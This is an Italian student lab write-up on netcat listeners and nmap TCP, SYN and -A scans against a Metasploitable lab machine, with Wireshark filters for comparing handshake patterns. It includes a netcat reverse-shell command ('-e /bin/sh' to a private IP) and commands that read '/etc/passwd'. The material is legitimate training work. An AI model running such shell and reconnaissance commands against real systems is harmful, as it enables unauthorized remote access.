

# W9D2

## NETCAT e NMAP SCAN

*L'esercitazione consiste nel testare alcune righe di comando sul terminale KALI.*

*nc -l -p 1234 apertura listener -l e assegnazione porta -p*

*nc 192.168.3.245 1234 -e /bin/sh connessione all'indirizzo ip e alla porta 1234 , -e /bin/sh esegue una shell reindirizzata sul nostro sistema, cosi' da poter eseguire comandi dal nostro terminale.*

*root@kali: nc -l -p 1234 -c whoami conoscere il nome utente*

*root@kali: nc -l -p 1234 -c “uname -a” informazioni su sistema*

*root@kali: nc -l -p 1234 -c “ps -aux” mostra processi in esecuzione*

*altre combinazioni possibili:*

*nc -l -p 1234 -c “ip a” visualizza indirizzi ip delle interfacce di rete*

*nc -l -p 1234 -c “ls -la”  
mostra file e directory inclusi quelli nascosti*

*nc -l -p 1234 -c “netstat -tulnp”  
mostra porte aperte e i processi collegati*

*nc -l -p 1234 -c “cat /etc/passwd”  
mostra utenti registrati sulla macchina*

# NMAP

scansione TCP , SYN , con Switch -A

L'esercizio consiste nello scansionare la rete per capire quali servizi potrebbero essere vulnerabili

In questo esercizio verranno allegate gli screen dei varie scansioni.

Per evitare che l'esercizio diventi prolioso verrà fatta un'unica descrizione finale

The screenshots show three separate Wireshark sessions running on a virtual machine. Each session displays a list of captured network frames and their details. The first session shows a scan from port 22 to 255. The second session shows a similar scan but with a specific target IP. The third session provides a detailed view of a single connection attempt, likely a SYN scan. The interface names in the screenshots indicate they are running on a virtual machine.

The screenshots show two separate Wireshark sessions running on a virtual machine. The first session displays a list of captured network frames and their details, showing a scan from port 22 to 255. The second session provides a detailed view of a single connection attempt, likely a SYN scan. The interface names in the screenshots indicate they are running on a virtual machine.

## *Descrizione esercizio*

*Obiettivo esercizio -eseguire 3 tipi di scansione con nmap su metasploitable*

- Scansione *tcp completa*
- Scansione *SYN (semi aperta)*
- Scansione *-A (avanzata)*
- analizzare le differenze fra scansione *TCP e SYN* con *Wireshark*

### **SCANSIONE TCP**

- sT effettua una TCP connect scan*  
*Nmap completa l'intero handshake*
  - 1) *invia syn*
  - 2) *riceve syn+ack*
  - 3) *invia ack*

*conclusione : e' piu' lenta e piu' visibile nei log server*

### **SCANSIONE SYN (HALF-OPEN)**

- sS effettua una SYN scan*  
*fa solo la prima parte dell'handshake*
  - 1) *invia Syn*
  - 2) *riceve syn-ack*
  - 3) *non invia ACK ma un RST*  
*(connessione mai completata)*

*conclusione:  
piu' veloce piu' stealth difficile da rilevare nei log*

### **SCANSIONE AVANZATA -A**

*Rileva sistema operativo , versione dei servizi , script  
NSE(vulnerabilita')  
Traceroute*

*conclusione:  
e' molto rumorosa ma ottiene piu' informazioni*

### **ANALISI CON WIRESHARK**

*Filtri utilizzati  
**ip.addr == ip meta (solo traffico verso/da il target)***

***tcp.flags.syn ==1 or tcp.flags.rst ==1**  
(solo handshake/sonde rilevabili)*

***tcp.flags.syn ==1 and tcp.flags.ack ==0 and ip.addr == ip***

*metasploit  
(solo SYN)*

*tcp.flags.syn ==1 and tcp.flags.ack ==1 and ip.addr == ip  
metasploit  
(risposta SYN/ACK porta aperta)*

*tcp.flags.rst ==1 and tcp.flags.ack ==1 and ip.addr == ip  
metasploit  
(risposta RST/ACK porta chiusa)*

## Conclusioni finali

**Durante sT**

**(TCP completo)**

Per una porta aperta :

- 1.Kali → Target: SYN
- 2.Target → Kali: SYN,ACK
- 3.Kali → Target: ACK (handshake completato)
- 4.Subito dopo Kali chiude la connessione (tipicamente con RST)

Per porta chiusa:

- Kali → SYN
- Target → RST,ACK

## **Durante-sS**

### **(SYN half-open)**

Per una porta aperta:

- 1.Kali → SYN
- 2.Target → SYN,ACK
- 3.Kali → RST(Nmap non invia l'ACK finale: la connessione resta “mezza-aperta”)

Per porta chiusa:

- Kali → SYN
- Target → RST,ACK

## **Durante-A**

Vedremo molto più traffico: sonde applicative (es. HTTP GET, banner SSH SSH-2.0-..., query a servizi), traceroute, ecc. È rumoroso e facilmente loggabile sul target.

Su Metasploitable di solito troviamo parecchie porte aperte (esempi comuni: 21/ftp, 22/ssh, 23/telnet, 25/smtp, 53/dns, 80/http, 139/445 smb, 3306/mysql, ).

È normale che -sT e -sS riportino le stesse porte aperte, ma con differente pattern di pacchetti in Wireshark (handshake completo vs half-open).

## **Importanti differenze osservate**

- sT completa il 3-way handshake  più lento e più visibile nei log.
- sS interrompe con RST (half-open)  più veloce e stealth.
- A aggiunge fingerprinting (OS, versioni, script NSE) molto rumoroso.